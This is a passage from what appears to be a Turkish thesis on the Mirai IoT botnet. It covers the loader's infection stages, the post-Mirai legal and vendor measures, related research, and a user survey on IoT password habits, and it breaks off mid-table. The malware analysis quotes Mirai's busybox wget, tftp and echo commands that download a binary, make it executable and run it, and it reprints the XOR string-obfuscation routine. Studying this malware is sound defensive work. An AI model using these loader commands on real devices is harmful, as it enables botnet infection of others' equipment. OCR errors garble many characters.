aksi halde mimari tespitine gegilir.

TELNET DETECT ARCH case igerisinde connection_consume_arch() fonksiyonu
cagirilir. Bu fonksiyonda bellek igerisinde bir kissm HEX degerler aratilarak, ELF
(dosya formati) kontrol edilerek parmak izi toplanir ve cihazin islemci mimarisi tespit
edilir. ARM mimarisinin alt mimarisini tespitte cat /proc/cpuinfo komutundan

faydalanilir.

TELNET UPLOAD METHODS case igerisinde connection_consume_upload
methods() fonksiyonu cagirilarak oncelikle wget ve tftp ylkleme ydntemlerinin
desteklenip desteklenmedigi kontrol edilir. Desteklenmedigi takdirde echo yontemi
yiikleme (upload) method olarak belirlenir. Segilen yiikleme metodunun case’i

cagirilir.

UPLOAD_ WGET case iginde "/bin/busybox wget http://%s:%d/bins/%s.%s -O - >
"FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY " komutu cihazda

calistirilarak tespit edilen islemci mimarisi i¢in hazirlanmis dosya cihaza yiiklenir.

UPLOAD_TFTP case iginde "/bin/busybox tftp -g -1 %s -r %s.%s %s; /bin/busybox
chmod 777 " FN_BINARY "; komutu cihazda c¢aligtirilarak tespit edilen islemci

mimarisi i¢in hazirlanmis dosya cihaza yiiklenir.

UPLOAD_ECHO case iginde "echo -ne '%s' %s " FN_DROPPER *; "/bin/busybox cp
"FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 "
FN_DROPPER " komutu cihazda calistirilarak tespit edilen igslemci mimarisi i¢in

hazirlanmig dosya cihaza yiiklenir.

TELNET_UPLOAD_ECHO, TELNET_UPLOAD_WGET, TELNET_UPLOAD
TFTP case’lerinin iiclinde de yiikleme isleminin tamamlanip tamamnlanmadigi

kontrol edilir.
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TELNET RUN _ BINARY case igerisinde cihazda kodun yiiklii oldugu dogrulanir ve

calistirilir.

TELNET CLEANUP case igerisinde uzaktan yiiklenen kod cihaz iizerinden silinir.
Mirai bellekte calistigr i¢in silinme iglemi cihazin enfekte olma siirecini etkilemez.
Cihazin enfekte edilmesi tamamlanarak Boliim 3.2.1.1°de agiklanan Bot Baglatim

stireci baslatilir. Enfeksiyon mekanizmasi asamalar1 Sekil 3.29 ‘da 6zetlenmistir.

ﬂ[ Zafiyetli cihaz bilgisini al.
v
[ Telnet baglantisi kur.
v
[ Oturum ag.
v
[ Yazma yetkili dizinleri bul.
v
[ Mimariyi tespit et.
v
[ Yikleme yontemini tespit et.

v
ikili dosyay! hedef cihaza yiikle.
v
ikili dosyay hedef cihazda calistir.
v
ikili dosyay! hedef cihazdan sil.

S L L S S B S 3 S g S

Sekil 3.29 : Enfeksiyon mekanizmasi asamalari.
3.2.4.4 ikili Kodlar

Mirai’nin orijinal versiyonunda c¢apraz-derleme yapilmis ve hedef cihazlara
yiklenmek iizere barindirilan toplam 9 adet ikili dosya bulunmaktadir. Dosyalarin

isimleri ve hedef aldig1 mimariler Cizelge 3.6’da gosterilmistir.

Cizelge 3.6 : Loader dizininde kayith ikili dosyalar.

Dosya Ad1 Mimari Boyut
dlr.arm ARM, version 1 32-bit 1,2 kb
dlr.arm7 ARM (SYSV)-32 bit 1,7 kb
dlr.m68k Motorola 68020 1,3 kb
dlr.mips MIPS-1 32-bit 2 kb
dir.mpsl MIPS-I 32-bit 2 kb
dir.ppc IBM PowerPC / cisco 4500 -32 bit 1,6 kb
dir.sh4 Renesas SuperH 32-bit 1,4 kb

dir.spc SPARC version 1, 32 bit 1,3 kb
dir.x86 Intel 80386 32-bit 1,4 kb
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3.2.5 Yardima araclar

Mirai dosya dizini i¢erisinde bulunan tools klasdriinde scanListen.go, badbot.c, enc.c,
nogdb.c, single load.c ve wget.c dosyalari bulundugu goriilmiistiir. S6z konusu
dosyalardan scanListen.go’nun detayli analizi Boliim 3.2.3’te aciklanmistir. Diger
dosyalarin Mirai’nin ¢alisirligina dogrudan etki etmeyip ihtiya¢ halinde derlenerek

kullanildig1 degerlendirilmistir.

Mirai igerisinde kullanilan etki alan1 adresi, shell komutlari, kullanict adi, IP adresi,
parola vb. string ve integer verilerinin sifrelenmesi i¢in tool klasoriinde yer aralan
enc.c dosyasi kullanilmaktadir. Botnet yoneticisi tarafindan degistirilmesi istenen
parametreler, derlenerek calistirilan enc.c dosyasi ile sifrelenerek kaynak kodlarin
ierisine elle yazilmaktadir. Ornek bir sifreleme islemi ekran goriintiisii Resim 3.8¢de,
enc.c icgerisinde bulunan sifreleme algoritmasinin kaynak kodu Sekil 3.30°‘da
gosterilmistir. Mirai’nin orijinal versiyonunda sifreleme anahtari Oxdeadbeef olarak

belirlenmistir; ancak bu anahtar1 degistirmek miimkiindiir.

root@kali: ~/Mirai-Source-Code/mirai/debug e ® O

File Edit View Search Terminal Help
root@kali:~/Mirai-Source-Code/mirai/debug# ./enc string www.etu.edu.tr
XOR'ing 15 bytes of data...
\X55\x55\x55\x0C\x47\x56\x57\x0C\x47\x46\x57\x0C\x56\x50\x22
root@kali:~/Mirai-Source-Code/mirai/debug# ||

Resim 3.8: www.etu.edu.tr adresinin enc.c ile sifrelenmesi ekran goriintiisii.

Kaynak kod incelendiginde input girilen char dizisinin ilk elemanindan itibaren tek tek
tiim elemanlarinin; little-endian saklanan anahtarin ilk byte’1 olan OxEF ile XOR, ¢ikan
sonucun sirasiyla 0xBE ile XOR, 0xAD ile XOR ve 0xDE ile XOR islemine tabi

tutularak sifrelendigi goriilmektedir.

Single load.c dosyasinin kaynak kodu incelendiginde parametre olarak girilen hedef
IP adresi ve ikili dosya adi kullanilarak hedef cihaza ikili dosyanin yiiklenmesinin

saglandig1 goriilmustiir.
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Weget.c dosyasi incelendiginde uzak sunucudan dosya indirme iglevini yerine getirdigi,
bu baglamda Linux sistemlerde sik¢a kullanilan wget komutuyla ayni isleve sahip
oldugu gorilmistir. Wget komutunu desteklemeyen cihazlarin mimarisine uygun
olarak derlenerek bu cihazlara yiiklendigi ve cihazlarin wget komutunu destekler hale

getirildigi degerlendirilmektedir.

Nogdb.c dosyasi incelendiginde parametre olarak kendisine girilen dosya adina sahip
dosyaya GDB igerisinde debug edilmesini engellemek amaciyla kod ekledigi
degerlendirilmistir. Bu islem sonrasinda dosya igeriginin ve md5 o6zet degerinin

degistigi goriilmiistiir.

Enc.c
7 static uint32_t table_key = Oxdeadbeef;
80 void *x(void *_buf, int len)
81 {
82 unsigned char *buf = (char *)_buf, *out = malloc(len);
int a;
uint8 t k1 = table key & O0xff,
k2 = (table key >> 8) & Oxff,
86 k3 = (table key >> 16) & Oxff,
87 k4 = (table key >> 24) & O0xff;
88 N
9 for (i = 0; i < len; i++)
90 {
91 char tmp = buf[i] ~ k1;
92
93 tmp "= k2;
S84 tmp "= k3;
95 tmp "= k4;
96
97 out[i] = tmp;
98 }
99
100 return out;
101 }

Sekil 3.30 : Sifreleme algoritmasi kaynak kodlari.

Badbot.c dosyasi incelendiginde igerisinde islevsel bir fonksiyon bulunmadigi
goriilmiistiir. Yayinlanmayan bagka dosyalardan ¢agirilarak Mirai igerisinde kurulan
sunucular {izerinde dinlenen portlara gelen baglantilarin raporlanmasina yonelik bir

kullanimi1 oldugu degerlendirilmektedir.
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4. MIRAI SONRASI ALINAN TEDBIRLER

Mirai ile birlikte internet ekosisteminde IoT botnet saldirilar1 belirgin olarak artmastir.
Bu durum bir ¢ok tilkedeki yasal otoriteler ve iireticiler tarafindan bir takim tedbirlerin
alinmasina ve IoT botnetlerle miicadele konusunda yapilan akademik ¢alisma
sayisinin artmasina neden olmustur. Bu bdliimde yasal otoriteler ve iireticiler
tarafindan alinan tedbirler, IoT botnetlerle miicadele konusunda yapilan akademik

caligmalar incelenmistir.

4.1 Yasal Otoriteler Tarafindan Alinan Tedbirler

ABD Kaliforniya Eyaleti Senatosu tarafindan alinan 327 numarali ve “Information
privacy: connected devices” baslikli karar ile iireticilerin eyalet sinirlar igerisinde
satilacak ag erisim yetenekli cihazlarin iiretiminde; cihaz igerisindeki bilgilerin
yetkisiz erisimden koruyacak, iiretilecek her cihaza birbirinden farkli varsayilan parola
tanimlayacak veya ilk kullanim esnasinda kullanic1 tarafindan yeni parola iiretilmesini

talep edecek teknik sartlarin saglanmasi zorunlu hale getirilmistir [97].

Birlesik Krallik Dijitallesme, Kiiltiir, Basin ve Spor Bakanlig1 tarafindan ¢ikarilan bir
uygulama yonetmeligi ile Birlesik Krallik sinirlari i¢erisinde satilacak tiim aga erisim
yetenekli cihazlarda; varsayilan parolalarin her bir cihaz igin tekil olmasi ve fabrika
ayarlarina dondiiriilse dahi varsayilan genel bir parola edinmemesi zorunlu hale
getirilmistir. Tespit edilecek acikliklarin iireticiye bildirilmesi amaciyla iiretici irtibat
bilgileri miisteriyle paylasilacaktir. Ilan edilen destek siiresi miiddettince cihazlar
giincelleme alacaktir. Kullanic1 ad1 ve parola bilgileri cihaz iizerinde giivenli bir
sekilde ve tersine miithendislik ile ¢oziilemez olarak saklanacak, agik metin olarak veya
basit gizleme teknikleri ile bilgiler saklanmayacaktir. Cihazlar iletisimde agik-metin
protokoller kullanmayacak, sifreli iletisim saglanacaktir. Ayrica cihaza kullanicilar
tarafindan girilecek girdiler dogrulanarak islenecek, cihazlar minimum atak yiizeyine

sahip olacak ve minimum ag¢iklig1 barindirma prensibiyle tasarlanacaktir [98].

59



Avrupa Birligi’ne tiye iilkeler tarafindan 10 Aralik 2018 tarihinde kabul edilen Siber
Giivenlik Eylem Plani cer¢evesinde Avrupa Ag ve Bilgi Giivenligi Ajansi’nin
(ENISA) Avrupa Siber Giivenlik Ajansi olarak yeniden teskilatlandirilmasi ve bir
Avrupa Birligi Siber Giivenlik Sertifikasyonu ¢ergevesi kurulmasi kararlastirilmistir.
Sertifikasyon sayesinde AB smirlar1 icerisinde kullaniciya sunulacak internete
baglanabilen nesnelerin giivenligi tasarim agamasindan itibaren arttirilacak, nesneler
bagimsiz kuruluslarca sertifikalandirilacak; ayrica kullanicilar satin aldiklari tirtinlerin

sagladig giivenlik seviyesinden emin olacaklardir [99].

Avrupa Birligi Parlamentosu’nda Portekiz temsilcisi olarak gorev yapan Rui Martins
parlemontoya 8 Mart 2019°da Kaliforniya Senatosu tarafindan nesnelerin internetinin
giivenligi konusunda alinan kararin bir benzerinin AB miiktesabatina dahil edilmesi
gerektigine dair talepte bulunmus; yetkili komisyon tarafindan 10 Aralik 2018
tarihinde kabul edilen Siber Giivenlik Eylem Plani’na atifta bulunularak 6niimiizdeki

doénemde konu ile ilgili ¢alisma yapilacagi bilgisi paylasilmigtir [100].

Avrupa Standartlar Organizasyonunun ii¢ temel unsurundan biri olan ve Tiirkiye nin
de tam iiye oldugu Avrupa Telekomiinikasyon Standartlari Enstitiisii (European
Telecommunications Standards Institute- ETSI) tarafindan 2019 yili subat ayinda
yaymlanan ETSI TS 103 645 standart1 ile ilk defa tiiketiciler tarafindan kullanilan 10T
cihazlarina yonelik temel siber giivenlik prensipleri bir standart haline getirilmistir.
Genel hatlariyla Birlesik Krallik tarafindan kabul edilen uygulama yonetmeligi ile
paralel olan standart kapsaminda cihazlarda tekil varsayilan parola kullanimu,
giincelleme giivencesi, giivenli iletisim, bilginin giivenli saklanmasi vb. hususlar ele

almmustir [101].

Japonya hiikiimeti 2019 yili ocak ayinda, iilke ¢apindaki 200 milyon 10T cihazinin
Ulusal Bilgi ve lletisim Teknolojileri Enstitiisii ¢alisam1 beyaz sapkali giivenlik
uzmanlar tarafindan taranarak bu cihazlarda varsayilan, kolay tahmin edilen veya sik
kullanildig1 bilinen parolalar kullanildig: tespit edildigi takdirde zafiyetli cihazlarin
internet hizmet saglayicilarina ve yerel yetkililere bildirilerek cihaz sahiplerinin ikaz

edilmesini saglayacak bir program baslatacagini duyurmustur [102].

ABD Ulusal Standartlar ve Teknoloji Enstitiisti (NIST) IoT cihazlarinda siber giivenlik
ve mahremiyete dair riskleri degerlendiren kapsamli bir kurum i¢i rapor taslagi

yayinlanmistir. Rapor kapsaminda IoT cihazlarinda risk azaltmaya yonelik olarak
60



cihaz giivenligi saglama, veri giivenligini saglama, bireylerin mahremiyetini koruma
olmak tizere iic temel hedef oldugu belirtilerek bu hedefleri saglarken karsilasilacak
riskler ve risk azaltma Onerileri sunulmustur. Raporun kesinlesmis halinin Eyliil
2019’da yayinlanmasi beklenmektedir [103]. Bu caligmanin gelecekte bir NIST

standardina dontismesi ihtimal dahilindedir.

Ulkemizde nesnelerin internetinin giivenligi 6zelinde kabul edilmis herhangi bir yasal

dizenleme bulunmamaktadir.

4.2 Ureticiler Tarafindan Alinan Tedbirler

Mirai tarafindan hedef alinan 10T cihazlari cogunlukla donanimsal yazilim (firmware)
giincellemesi almayan cihazlardan olusmaktadir [38]. Basinin baskisiyla bir kisim
firmalar Mirai sonrasinda zafiyetli cihazlarini geri ¢agirma karar almis, Hangzhou
Xiongmai Teknoloji firmas1t ABD pazarindaki 10 bin web kamerasini geri ¢cagiracagini
duyurmustur [104]. Bir kisim firmalar meydana gelen saldirilar sonrasinda zafiyetli
cihazlarina giincelleme yayinlamig [105], bir kisim firmalar yeni iirettigi cihazlarin
giivenligini Mirai tiirevi zararli yazilimlan kullanarak test etmeye baslamistir [106].
Ancak tiim 10T ekosistemi ele alindiginda cihazlara ait giivenlik giincellemeleri

yetersizdir [107].

4.3 Akademik Cahsmalar

Margolis ve dig. (2017) tarafindan; yerel ag {izerindeki cihazlar1 tespit eden, Mirai ile
benzer bir sekilde cihazlar lizerinde kaba kuvvet yontemi ile oturum agmaya calisan,
basarili oturum agildig1 takdirde cihazin oturum agma bilgilerini degistiren ve cihaz

tizerindeki zararli yazilimu silerek kullaniciya raporlayan bir betik hazirlanmistir [6].

Kambourakis ve dig. (2017) cihazlar iizerindeki Busybox uygulamasinin sadece

belirlenecek kullanici hesaplarinin erisimine sunulmasi gerektigini 6nermistir [108].

Ozgelik ve dig. (2017) yazilim tabanli ag (software defined network) ve sis bilisimden
(fog computing) faydalanarak Mirai benzeri botnet saldirilarini tespit etme / risk
azaltma metotu gelistirmistir. Bu metotta dagitik hizmet dist birakma saldirisinin

tespitinde genel yaklasim olarak benimsenen hedef tarafindan ve hedef iizerinde saldir1
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tespiti degil; saldirinin enfekte olmusg 10T cihazlariin bagh oldugu aglar iizerinde

tespiti amaglanmistir [35].

Catak (2017) topluluk yontemlerine (botnet) dayali dagitik hizmet disi birakma
saldirilarinin  algilanmas1 kapsaminda loglardan olusan siber giivenlik verilerini
egitilebilir duruma getirerek bir tahmin modeli ortaya ¢ikarmistir. Veri seti lizerinde

yapilan testlerde en yiiksek dogruluk oran1 %97,82 olarak dl¢iilmiistiir [36].

Jerkins (2017) 10T cihazlarimin kullaniciya sunuldugu pazarlarda bu cihazlardaki
giivenlik sorunlarimi ortadan kaldiracak ya da azaltacak yasal diizenlemelere ihtiyag

duyuldugunu degerlendirmistir [109].

Leverett ve dig. (2017) AB iyesi lilkelerde nesnelerin internetinin giivenligi
saglamada teknik yeterliligi ve yetkinligi arttirmak amaciyla Avrupa Emniyet ve

Giivenlik Mithendisligi Ajanst kurulmasini 6nermistir [110].

Ulker ve dig. (2017) Tiirkiye 6zelinde ulusal bilgi giivenligi acisindan nesnelerin
internetini incelemis; ISO 27001 bilgi giivenligi yonetim sisteminin kamu kurumlari
ve Ozel sektorde zorunlu hale getirilmesinin, sizma testlerinin zorunlu hale
getirilmesinin, giivenli [Pv6 kullanimmin yayginlastirilmasinin, kritik {rtinleri
denetleyecek ve sertifikalandiracak mekanizmalarin kurulmasinin, yerli ve teknolojik

iiriin kullaniminin yayginlastirilmasinin dikkate alinmasi gerektigini 6nermislerdir

[48].

Habibi ve dig. (2017) internete bagli cihazlarin; olusturulacak beyaz listeler vasitasiyla
gelen ve giden trafiklerinin kontrol edilecegi, loglardan elde edilen siipheli IP adresi
ve dosyalarin VirusTotal iizerinden kontrol edilecegi Heimdall adini verdikleri bir
giivenlik mimarisi 6nermislerdir. Yapilan testlerde Heimdall devrede oldugu siirece
cithazlarin legal trafigi kesilmemis ancak zararli trafik kesilerek cihazlarin enfekte

edilmesinin engellenmesi saglanmistir [37].

Cao ve dig. (2017) botnetlere dahil edilen cihazlarin beyaz-Mirai olarak adlandirilan
iyi niyetli bir Mirai tlirevi yazilim yardimiyla sikilagtirtlmasini 6dnermistir. Enfekte
olan cihaz kullanicisinin cihazimi iiretici ile kararlastirilan bir zaman araliginda
yeniden baslatmasi sonrasinda cihazda beyaz-Mirai ile oturum agilarak emniyetsiz
portlarin kapatilmasi, varsayilan parolanin degistirilmesi, iiretici tarafindan yonetilen

bir sunucu ile cihaz arasinda iletisim kurularak cihazin merkezi takibi saglanmistir.
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Pilot calismalarda Mirai ile miicadele konusunda ilerleme saglandig:

degerlendirilmistir [38].

Teng ve dig. (2017) yonlendiricilerin giincelleme faaliyetinin etkinligini arttirmak
amactyla giincellestirmelerin yayinlar yoluyla (over the air) yapilmasi Onermis,
yapilan testlerde yaklasik 1.000.000 yonlendiricinin %96,25’inin giincellemeyi aldigi,
%2,83’liniin internet erisiminin olmadig1 ve 9%0,85’inin ¢esitli nedenlerle

giincellemeyi almadig goriilmiistiir [111].

Dikici (2018) iilkemiz otoritelerince bir “Ulusal Nesnelerin Interneti Stratejisi ve
Eylem Plan1” olusturulmasini ve internete baglanma yetene8i olan cihazlarin
gilivenliginin hangi temel cercevede ele alinacaginin ortaya konulmasini énermistir

[112].

Meidan ve dig. (2018) gesitli 6zellik ve sayilarda 10T cihazlari barindiran biiyiik
organizasyonlarda cihazlarin botnete dahil edilmesini engellemek amaciyla, N-BaloT
ad1 verilen, zararh trafik 6rneklerinden elde edilen verilerle derin 6grenme yaparak
mevcut anomalileri tespit eden bir ag tabanli anomali tespit sisteminin kullanimini

Onermistir [39].

Frank ve dig. (2018) tarafindan antimirai.py ve secure.sh isimli betikler gelistirilmistir.
Bu betiklerle varsayilan parolalar degistirilmekte, bir Busybox sarmalayici ile Mirai
tarafindan kullanilan kodlar filtrelenmekte, oturum ag¢ma kapsayfasi (banner)
degistirilmekte, komuta kontrol sunucusuyla iletisimi tespit etme ve engelleme
amaciyla /etc/host.deny kodu calistirilmaktadir. Yapilan testlerde kapsayfasi

degisiminin Mirai enfeksiyonunu engellemedigi goriilmistiir [40].

Zolanvari ve dig. (2019) endiistriyel 10T cihazlarina uygulanacak komut yiiriitme,

SQL enjeksiyon saldirilarint makine 6grenimi tabanli bir saldir1 tespit sistemiyle tespit

etmislerdir [113].

Vidal ve Monge (2018) bot cihazlarin saldir1 diizenlerken daha fazla elektrik enerjisi
harctyor olmasmi goz Oniinde bulundurarak; IoT cihazlarinda enerji tiikketimi
anomalilerinin izlenerek bu cihazlar {izerinden dagitik hizmet dis1 birakma saldirisi

yapildig1 takdirde bu saldirilarin tespitinin miimkiin oldugunu degerlendirmislerdir

[132].

63



Kumar ve Lim (2019) Mirai benzeri botnet saldirilarinda ele gegirilen nesnelerin
iirettigi paketleri iki boyutlu (zaman-cihazdan cihaza iletisim) olarak inceleyerek
botnetler tarafindan ele gecirilen nesnelere dair imzalar tespit etmis ve bir bot tespit
algoritmas1 gelistirmistir. Bu algoritma ile ag trafigini izleyerek botnet tespiti

yapabilecek sentinel (ndbetgi) cihazlarin aglara kurulmasini énermislerdir [41].

Shafi ve Basit (2019) yazilim tabanli ag mimarisi ile farkli alt aglar1 birbirine
baglamay1 ve her bir alt agda blok zincir kullanarak yonetici tarafindan belirlenen
giivenlik kurallarinin dogrulanarak nesnelere iletilmesini ve bu sayede dagitik hizmet
dis1 birakma saldirilart diizenleyen botnetlere yeni cihazlarin katiliminin 6nlenmesini

Onermistir [42].
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5. 10T GUVENLIGINE DAIR ALGI VE EGILIMLER

OWASP’1n nesnelerin internetinin giivenligine dair karsilagilan 10 temel zafiyeti
acikladigr IoT Top 10 listesi incelendiginde birinci siradaki zafiyetin kullanicilar
tarafindan basit veya zayif parolalar se¢ilmesi veya {ireticiler tarafindan parolalarin
cihaz aygit yazilimina kodlanmasi oldugu; diger zafiyetlerin ise genel olarak iiretici ve
sistem yoneticileri ile ilgili oldugu goriilmektedir [3]. Bu durum son kullanicinin
nesnelerin internetinin giivenligi konusunda yeterli bilince ulagsmadigmin bir

gostergesidir.

Kullanicilart  dikkate  almadan  gelistirilen  giivenlik  uygulamalarinin
kullanilabilirliginin diisiikk oldugu ve kullanilabilirlik géz oniinde bulundurulmadan
tasarlanan bir uygulamanin farkli giivenlik zafiyetlerinin ortaya ¢ikmasina neden
olabilecegi bilinmektedir [114]. Mevcut durumu ortaya koyma adina kullanicilarin bir
giivenlik sorunu hakkindaki biling seviyesini, alg1 ve egilimlerini 6lgmek yaygin bir
uygulama oldugu gibi bu tespitler ileride s6z konusu sorunun g¢éziimiine yonelik

gelistirilecek yontemlere katki saglamaktadir.

Ulkemizdeki 10T cihazlan gesitli saldirilara hedef olmasina ragmen yapilan literatiir
taramasinda iilkemizdeki kullanicilarin nesnelerin internetine dair glivenlik algisini
veya farkindalik diizeyini 6l¢en bir galismaya rastlanilmamustir. Alanyazindaki bu
boslugu doldurarak kullanicilarin nesnelerin glivenligine dair algi ve egilimlerini tespit
etmek, Mirai vb. zararli yazilimlara kars1 bilgi ve hazirlik diizeyini degerlendirmek
amaciyla 407 sosyal medya kullanicisinin goniillii olarak katildig1 bir ¢cevrim i¢i anket
vasitasiyla veri toplanmis ve elde edilen bulgular tartisiimistir. Anket sorular1 ve

aydinlatici onam metni EK-1’de sunulmustur.

5.1 Yontem

Farkindalik ve egilim tespiti arastirmasi miiddetince izlenen yontem bu boliimde

agiklanmustir.
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5.1.1 Katihmcilar

Aragtirma 23-27 Nisan 2019 tarihleri arasinda gergeklestirilmistir. Arastirmanin
katillmcilarin1 sosyal medya kullanicist bireyler olusturmaktadir. 2018 yilinda
Tirkiye’de 51 milyon sosyal medya kullanicist oldugu [115] g6z Oniinde
bulundurularak %95 giiven diizeyinde ve %5 hata payr dikkate alindiginda 385
katilimcidan olusan bir 6rneklemin sosyal medya kullanicilarini temsil edebilecegi
degerlendirilmistir.  Goniilli 533 kullanic1 arastirmaya katilmig, 407 kullanici
arastirmay1 tamamlamistir. Katilimcilarin aragtirmayi tamamlama oran1 %76’dir.
Katilimcilar www.facebook.com, www.linkedin.com, www.twitter.com,
www.eksisozluk.com oOriin siteleri lizerinden davet metni paylasilmasi suretiyle
arastirmaya davet edilmistir. Arastirmaya katilimi tesvike yonelik herhangi bir

motivasyon (6deme vb.) saglanmamistir. Demografik dagilim Cizelge 5.1°de

sunulmustur.
Cizelge 5.1 : Katilmeilarn demografik dagilima.

Degisken Kategori f %

Cinsiyet Erkek 217 53.32
Kadin 190 46.68
18-20 61 14.99
21-30 194 47.67

Yas 31-40 124 30.47
41-50 25 6.14
51-60 3 0.74
61 ve lizeri 0 0
[lkokul 1 0.25
Ortaokul 5 1.23
Lise 44 10.81

Egitim durumu Onlisans 32 7.86
Lisans 227 55.77
Yiiksek Lisans 66 16.22
Doktora 32 7.86

Egitim veya calisma alan bilgi Hayir 353 86.73

‘i[f;rllio:r(])g;lerl / siber giivenlik ile Evet 54 13.27

5.1.2 Veri toplama araci

Anketler ucuz bir yontem olmasit ve mevcut davranislarin tespiti hususunda veri
toplamaya uygunlugu nedeniyle tercih edilmektedir [116]. Bu g¢alismada birincil

veriler ¢evrimigi anket vasitasiyla toplanmistir. Arastirma tarama modeli kullanilarak
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gerceklestirilmistir. Anketin gelistirilmesinde alanyazindaki benzer arastirmalardan

faydalanilmistir.

5.1.3 Sonuclarin analizi

Ankette yer alan maddelerin toplandig: ii¢ ana baglik olan isletim sistemi ve web
tarayici tercihleri, parola kullanimi ve giivenligine dair egilimler, 10T ve siber tehdit

algilar ile ilgili sorularin yanitlan yiizde ve frekans ile betimlenmistir.

Bilgi teknolojileri veya siber giivenlik konusunda egitim gormiis veya bu alanlarda
calisan katilimeilarin yanitlarinin diger katilimcilarin yanitlariyla ne kadar farklilagtigi

Ki-Kare testi ile incelenmistir.

5.2 Bulgular

Katilimcilarin yanitlariyla elde edilen sonucglar bu béliimde incelenerek elde edilen

bulgular degerlendirilmistir.

5.2.1 Isletim sistemi ve web tarayien tercihleri

Katilimeilarin biiyiik ¢ogunlugu (%91,1) bilgisayarlarinda isletim sistemi olarak
oncelikle Windows dagitimlarii tercih etmistir. Oriin  siteleri ziyaretlerinde
katilimcilarin ¢ogunlukla (%86,67) Google Chrome web tarayicisini kullandiklar
tespit edilmistir. Katilimcilarin igletim sistemi ve web tarayici tercihlerinin tespitine

yonelik sorulan sorular ve verilen yanitlar Cizelge 5.2°de sunulmustur.

Cizelge 5.2 : Isletim sistemi ve web tarayici tercihleri.

Soru Tercihler f %
S6 - Bilgisayarinizda hangi isletim Windows dagitimlari 369 91,11
sis.temini kullanlyorsu.nuz? Mac OS 58 14.32

(Birden fazla secenegi

isaretleyebilirsiniz.) Linux dagitimlari 27 6,67
Google Chrome 351 86,67
S11 - Bilgisayarinizda hangi web Mozilla Firefox 122 30,12
tarayiciy1 kullantyorsunuz? Opera 87 21,48
(Birden fazla segenegi Internet Explorer 75 18,52
isaretleyebilirsiniz.) Safari 57 14,07
Yandex 41 10,12
Microsoft Edge 29 7,16
TOR 27 6,67
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5.2.2 Parola kullanimu ve giivenligine dair egilimler

Katilimcilarin parola kullanimina ve giivenligine dair algi ve tercihlerini belirlemek

amaciyla toplam alt1 adet soru sorulmustur.

Katilimeilardan giinliik yasantilarinda kullandiklar alt1 ayr1 parolay1 6nem derecesine
gore siralamalar1 istenmistir. En 6nemli parola olarak internet bankacilik parolasi
secilmis; sirastyla e-posta hesabi parolasi, sosyal medya hesabi parolasi, evlerindeki
yonlendiricinin (modem) yonetici parolasi, takip edilen bir forum sitesinin parolasi ve
tekrar girmeyi diistinmedikleri bir sitenin parolasi katilimcilarca 6nemli gorilmustiir.
Parola tiirlerinin katilimcilarca belirlenmis sirast1 goz Oniinde bulundurularak

hesaplanan 6nem skorlar1 Sekil 5.1°de sunulmustur.

6
5,25
5 4,48
4 3,79
- 3,27
2
» 3 2,52
2 1,68
1
0
Online Eposta hesabi ~ Sosyal medya Evimdeki Takip ettigim  Tekrar girmeyi
bankacilik parolam hesap parolam modemin forum sitesinin  diigiinmedigim
parolam yoOnetici parolast  parolasi bir sitenin
parolasi
Parolalar

Sekil 5.1 : Kullanicilarin parola 6nem siralamasi.

Katilimcilarin ¢ogunlugu bir parolanin giiglii olmasinin (%79,01) ve hatirlanmasinin
kolay olmasinin (%45,19) parola se¢iminde en 6nemli faktor oldugunu diigiinmektedir.
Katilimeilarin %47,65°1, kendilerine gosterilen bes ayr1 paroladan “7ujMkoOadmin”
parolasini en giivenli parola olarak se¢mistir. “SEays214.” parolasi katilimcilarin
%46,67°s1 tarafindan en giivenli parola olarak tercih edilmistir. Katilimcilarin
cogunlugu (%65,43) parola secerken halen kullandig1 birka¢ parola bulundugunu ve

bu parolalar arasindan se¢im yaptigini beyan etmis, katilimcilarin cogunlugu (%69,63)
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parolalarini saklama yontemi olarak akilda tutma segenegini tercih etmistir.
Katilimcilarin parola kullanimi ve giivenligine dair egilimlerinin tespitine yonelik

sorulan sorular ve verilen yanitlar Cizelge 5.3’de sunulmustur.

Cizelge 5.3 : Parola kullanimina ve giivenligine dair alg1 ve tercihler.

Soru Tercihler f %
S13 - Sizce bir Giiglii olmali (zor tahmin edilmeli) 320 79,01
parola Hatirlamasi kolay olmali 183 45,19
seciminde en Eglenceli veya ilging olmali 26 6,42
6nemli faktor Kisa olmali, kolay yazilmali 13 321
nedir? Diger 13 3,21
S14 - Sizce 7ujMkoOadmin 193 47,65
asagidaki SEays214. 189 46,67
parolalardan Nisan2019. 10 2,47
hangisi en 147258 9 2,22
giivenli
iloveyou2 4 0,99
paroladir?
Kullandigim birkag parolam var, onlarin arasindan segerim. 265 65,43
S15- Her hesap igin ayr parola segerim 69 17,04
Parolalarimizi Cogunlukla ayr parolalar secerim, bunlar nadiren birbirinin ayni 45 1111
nasil segersiniz? olabilir. ’
Hepsi ayni paroladir. 26 6,42
Aklimda tutarim. 282 69,63
S16 -
Bilgisayarimda veya cep telefonumda bir dosya iizerine
Parolalarimizi . 49 12,1
kaydederim.
cogunlukla . ) )
Kagida, post-it vb. fiziksel bir ortama yazarim. 29 7,16
nasil saklamay1
tercih Web tarayicima hatirlamasi igin kaydederim. 20 4,94
ercl
. Parola yonetim programi kullanir ve ona kaydederim. 23 5,65
edersiniz?
Diger 2 0,49

5.2.3 Nesnelerin interneti ve siber tehdit algilar:

Katilimcilarin nesnelerin internetinin giivenligi ve siber tehdit algilarini tespit etmek
amactyla sorulan dort adet soruya verilen yanitlar Cizelge 5.4’te sunulmustur.
Katilimcilarin %59,51inin satin aldiklar1 modem, IP kamera vb. bir cihazla birlikte
verilen parolayi cihazin ilk kurulumu esnasinda degistirirken %29,14 {iniin varsayilan
parolay1 degistirmeden siirekli kullandigi belirlenmistir. Katilimcilarin %16,79’u
kendilerinin bir siber saldirinin hedefi olabileceklerine ihtimal vermediklerini,
%45,43°1 1se bir siber saldirinin hedefi olma ihtimallerinin az oldugunu belirtmistir.

Katilimcilarin %65,93’{iniin modem (yOnlendirici) cihazi ile bir oriin sitesine saldir1
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yapilabilecegini bildigi, %20,25’inin kablosuz yazicilar kullanilarak bir 6riin sitesine
siber saldir1 yapilabilecegini bildigi goriilmistiir. Katilimcilarin %75,56’sinn modem
(yonlendirici) cihazinin bir siber saldirtya maruz kalabilecegini bildigi, %44,44 iiniin

kablosuz yazicilarin siber saldirtya maruz kalabilecegini bildigi tespit edilmistir.

Cizelge 5.4 : Nesnelerin interneti ve siber tehdit algilari.

Soru Tercihler f %
Kullanmadan ilk kurulumda
S5 - Satin aldigimiz bir cihazla verilen 6rn. e 241 59,51
degistiririm.
yonlendirici (modem), IP kamera vb. ile
